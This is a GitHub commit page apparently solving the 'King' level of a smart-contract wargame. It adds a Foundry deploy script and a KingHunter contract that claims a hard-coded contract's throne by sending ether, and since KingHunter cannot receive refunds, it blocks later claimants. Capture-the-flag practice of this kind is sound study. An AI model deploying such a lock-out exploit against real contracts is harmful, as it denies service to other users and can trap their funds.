Skip to content

Commit a068d65

Browse files
committed
lvl: King
1 parent 17f214b commit a068d65

File tree

2 files changed

+30
-0
lines changed

2 files changed

+30
-0
lines changed

script/King/DeployKingHunter.sol

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.13;
3+
4+
import {Script, console} from "forge-std/Script.sol";
5+
import {KingHunter} from "../../src/KingHunter.sol";
6+
7+
contract DeployKingHunter is Script {
8+
9+
function run() external {
10+
11+
uint256 pkey = vm.envUint("PKEY");
12+
vm.startBroadcast(pkey);
13+
14+
new KingHunter{value: 0.001 ether}();
15+
16+
vm.stopBroadcast();
17+
}
18+
}

src/KingHunter.sol

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.13;
3+
4+
contract KingHunter {
5+
6+
address kingSC = 0xFA10a86Ca9ECB247F03e3C1D0D0441B5522d68EB;
7+
8+
constructor() payable {
9+
(bool success, ) = payable(kingSC).call{value: msg.value}("");
10+
require(success);
11+
}
12+
}

0 commit comments

Comments
 (0)